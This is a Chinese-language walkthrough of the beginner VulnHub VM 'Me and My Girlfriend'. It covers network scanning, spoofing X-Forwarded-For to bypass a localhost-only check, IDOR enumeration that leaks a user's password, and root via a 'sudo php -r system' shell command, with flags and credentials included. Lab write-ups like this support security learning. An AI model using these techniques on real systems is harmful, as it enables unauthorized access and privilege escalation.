2020-02-10-22


1
2
3
4
5
6
7
8
9
Description: This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, "Ceban Corp", something has changed from Alice's attitude towards Bob like something is "hidden", And Bob asks for your help to get what Alice is hiding and get full access to the company!

Difficulty Level: Beginner

Notes: there are 2 flag files

Learning: Web Application | Simple Privilege Escalation

From : https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

1
2
3
Kali:192.168.56.109

目标网段:192.168.56.1/24

信息收集


显示主机存活扫描:

1
$ nmap -n -sn -T5 -v 192.168.56.1/24 | grep -B 1 "Host is up"

image-20200210204802372


排除本机与网关后,找出目标机,扫服务/端口:

1
2
3
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

访问 80 端口的 Web页面。显示只有 local 地址才能访问,看源代码,作者给出提示:

1
<!-- Maybe you can search how to use x-forwarded-for -->

x-forwarded-for :用来识别通过 HTTP代理或负载均衡方式连接到 Web服务器的客户端最原始的IP地址的HTTP请求头字段(就是服务器用来识别客户端原始 IP 地址的)


改请求头,添加字段:x-forwarded-for:localhost ,返回页面信息(建议使用 Burp)


postman



NOTE : 这里犯了一个错误,在查 x-forwarded-for 的时候,偶然看到了 Postman 也就是上图中的软件,下载、使用、测试浪费了许多时间,且最后越来越麻烦(提交表格、登录),最后便放弃了


不是说上图的软件不好用或难用,而是对其一点都不熟悉,不懂套路;Burp 使用不熟练

在 Burp 上有更方便的操作方式,后来改之




通过改 x-forwarded-for 值,达到了欺骗服务器并返回数据,页面源代码并无有价值信息


既然是 Web 那便开始扫目录:

1
$ dirsearch.py -u http://192.168.56.111 -e php --random-agents -t 32
1
$ dirb http://192.168.56.111
1
$ nikto -h http://192.168.56.111


得到地址:

1
2
3
4
5
6
http://192.168.56.111/config/
http://192.168.56.111/index.php/login/
http://192.168.56.111/misc/
http://192.168.56.111/robots.txt ## /heyhoo.txt
http://192.168.56.111/server-status ## 404
http://192.168.56.111/heyhoo.txt ### null

经访问,下面两个地址返回 200 OK 但却空白,一般是后续填充内容使用:

1
2
http://192.168.56.111/config/config.php   	# 200 OK 返回空白
http://192.168.56.111/misc/process.php # 200 OK 返回空白

robot.txt 只有一个限制地址,访问并无又有用价值

1
2
3
/heyhoo.txt

http://192.168.56.111/heyhoo.txt # 无有用信息

最后的几个地址,需要通过修改 x-forwarded-for 值才能访问:

1
2
3
4
5
http://192.168.56.111/index.php/login/?page=index	# Index

?page=login ### 登录页面
?page=about #### 无有价值信息
?page=register ## 注册页面


注册后跳转登录,有三个选项, DahboardLogout 无甚作用,Profile 会显示你的账号信息

看源代码,除密码为明文,无其他有价值信息。


其实,跳转到 Profile 页的时候,就已经注意到 URL 了:

1
http://192.168.56.111/misc/process.php?page=profile&user_id=14

sqlmap 并没有跑出什么,到时在改变数字的时候,底下会出现其他用户的信息


从一开始,挨个访问,到 5 的时候,出现了用户名为:alice 的用户,也就是 GirlFriend

1
2
3
Name: Alice Geulis
username: alice
passwd: 4lic3


登录 SSH 成功,访问目录得到隐藏文件和 FLAG1。然后就可以提权了

1
Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf35544f8f09}


提权


执行 sudo -l ,发现了可以使用 php ,执行以下命令,直接提权:

1
2
CMD="/bin/sh"
sudo php -r "system('$CMD');"

得到 FLAG2

1
Thanks! Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}